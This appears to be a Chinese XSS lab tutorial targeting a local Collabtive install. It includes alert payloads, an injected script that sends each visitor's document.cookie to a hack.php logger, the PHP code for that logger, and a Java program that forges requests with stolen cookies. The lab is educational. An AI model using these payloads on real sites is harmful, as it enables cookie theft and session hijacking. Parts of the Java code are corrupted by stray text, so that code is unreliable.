Collabtive系统XSS攻击实验
2015-07-29 21:01
465 查看
Collabtive系统XSS攻击实验
实验简介
跨站点脚本(XSS)是一种常见较弱的web应用程序漏洞,攻击者使用这个漏洞注入恶意代码(例如JavaScript)来攻击受害者的web浏览器。使用恶意代码,攻击者可以轻松窃取受害者的凭证,例如cookies的访问控制政策(例如:IE同源策略)受雇于浏览器可以保护这些凭证绕过XSS漏洞,利用这种漏洞可能会导致大规模的攻击。
预备知识
什么是XSS
XSS(Cross Site Scripting):跨站脚本攻击,它与SQL注入攻击类似,SQL注入攻击中以SQL语句作为用户输入,从而达到查询/修改/删除数据的目的;而在xss攻击中,恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意攻击用户的特殊目的。XSS分类
XSS主体分为2类:来自内部:主要利用程序自身的漏洞,构造跨站语句; 来自外部:自己构造XSS跨站漏洞页面,然后诱惑管理员来点,从而获得我们想要的信息;
XSS危害
盗取各类用户账户,如机器登录账号、用户网银账号、各类管理员账号; 控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力; 盗窃企业重要的具有商业价值的资料; 非法转账; 强制发送电子邮件; 控制受害者机器向其他网站发起攻击;
4、什么是Cookie
某些网站为了辨别用户身份、进行session跟踪而储存在用户本地终端上的数据(通常经过加密);
实验内容
准备工作
首先,我们需要配置一个本地的服务器。配置DNS。在
/etc/hosts文件后追加
::1 localhost ip6-localhost ip6-loopback 127.0.0.1 www.xss.com
配置网站文件。创建
/etc/apache2/conf.d/lab.conf
<VirtualHost *> ServerName http://www.xss.com DocumentRoot /var/www/XSS/Collabtive/ </VirtualHost>
启动服务
sudo service apache2 start sudo mysqld_safe
现在我们可以尝试访问
www.lab.com,如果能正常打开,则说明配置成功。网站的登录用户名和密码都是admin。
实验1-通过弹窗显示恶意信息
我们可以先写一个网页js.html来测试是否存在xss漏洞。存放在网站根目录下,浏览器直接访问网页,出现弹窗。
<script> alert("xss test"); </script>
下面我们来测试是否支持html调用js,从而出现xss漏洞。存放在网站根目录下,浏览器直接访问网页,出现弹窗。
<!--myscript.js> alert("xss test");
<script type="text/javascript" src="http://www.xss.com/myscript.js"> </script>
实验2-恶意显示Cookie
上面我们已经验证了xss漏洞是存在的,但是弹窗本身并没有意义。下面我们尝试利用这种方式恶意显示Cookie。我们在
manageuser.php的最后添加一句脚本
echo "<script>alert(document.cookie)</script>"。添加的这一行的功能就是以弹窗的形式显示用户的Cookie。
我们再次访问网站,发现弹窗中的内容就是本次会话的cookie。我们可以使用httpliveHeader来抓取验证。
实验3-窃取受害者的Cookie
获取我们自己会话的cookie对于攻击是没有意义的,我们的目的在于获取其他用户的cookie。在这个实验中,我们尝试做到这一点。我们创建
hack.php,以及一个有写入权限(设置为777即可)的
cookie.txt
<?php $cookie = $_GET['c']; $log = fopen("cookie.txt", "a"); fwrite($log, $cookie ."\n"); fclose($log); ?>
最后,我们在
manageuser.php添加脚本,用来记录每个访问用户的cookie。
echo "<script>document.write('<img src=http://www.xss.com/hack.php?c=' + escape(document.cookie) + '>');</script>"
当有用户访问网站的时候,我们会发现,用户的cookie被记录在
cookie.txt文件中。
实验4-使用获取的Cookie进行会话劫持
当我们获取到用户的cookie后,我们就可以进行会话劫持。会话劫持:窃取受害者的cookie后,攻击者可以仿造受害者向服务器发送请求,包括代表受害者创建一个新项目,发帖子,删除等等。从本质上讲,就是劫持受害者的会话。
首先,我们需要得到每次会话报文的格式。
HTTP访问请求需要经过四个步骤:
打开一个连接到web服务器。 设置必要的HTTP头信息。 发送请求到web服务器。 得到来自web服务器的响应。
我们可以编写一个Java程序,模拟这些步骤,伪造用户发送HTTP请求。
import java.io.*; import java.net.*; public class HTTPSimpleForge { public static void main(String[] args) 4000 throws IOException { try { int responseCode; InputStream responseIn=null; // URL to be forged. URL url = new URL ("http://www.xsslabcollabtive/admin.php?action=addpro"); // URLConnection instance is created to further parameterize a // resource request past what the state members of URL instance // can represent. URLConnection urlConn = url.openConnection(); if (urlConn instanceof HttpURLConnection) { urlConn.setConnectTimeout(60000); urlConn.setReadTimeout(90000); } // addRequestProperty method is used to add HTTP Header Information. // Here we add User-Agent HTTP header to the forged HTTP packet. // Add other necessary HTTP Headers yourself. Cookies should be stolen // using the method in task3. urlConn.addRequestProperty("User-agent","Sun JDK 1.6"); //HTTP Post Data which includes the information to be sent to the server. String data="name=test&desc=test...&assignto[]=...&assignme=1"; // DoOutput flag of URL Connection should be set to true // to send HTTP POST message. urlConn.setDoOutput(true); // OutputStreamWriter is used to write the HTTP POST data // to the url connection. OutputStreamWriter wr = new OutputStreamWriter(urlConn.getOutputStream()); wr.write(data); wr.flush(); // HttpURLConnection a subclass of URLConnection is returned by // url.openConnection() since the url is an http request. if (urlConn instanceof HttpURLConnection) { HttpURLConnection httpConn = (HttpURLConnection) urlConn; // Contacts the web server and gets the status code from // HTTP Response message. responseCode = httpConn.getResponseCode(); System.out.println("Response Code = " + responseCode); // HTTP status code HTTP_OK means the response was // received sucessfully. if (responseCode == HttpURLConnection.HTTP_OK) { Laboratory for Computer Security Education 6 // Get the input stream from url connection object. responseIn = urlConn.getInputStream(); // Create an instance for BufferedReader // to read the response line by line. BufferedReader buf_inp = new BufferedReader( new InputStreamReader(responseIn)); String inputLine; while((inputLine = buf_inp.readLine())!=null) { System.out.println(inputLine); } } } } catch (MalformedURLException e) { e.printStackTrace(); } } }
实验5-XSS蠕虫
相关文章推荐
- Search Engine XSS Worm
- 关于跨站脚本攻击问题
- php漏洞之跨网站请求伪造与防止伪造方法
- php跨站攻击实例分析
- xss防御之php利用httponly防xss攻击
- php实现XSS安全过滤的方法
- xms/xmx/xss在kette中的调优设置
- Beetl解决XSS问题(AntiSamy)
- XSS***
- 解决Nginx+php(php 5.3.0及其以上版本)防止目录跨站问题
- </script><iframe onload=alert(document.cookie)>
- 防御XSS攻击的七条原则
- xss攻击
- 学习PHP精粹,编写高效PHP代码之安全性
- XSS攻击的过滤
- Web for Pentester XSS Example 01-09
- Google XSS Game Level 01-06
- 跨站脚本XSS
- xss简单的利用与分析
- Web安全技术(4)-常见的攻击和防御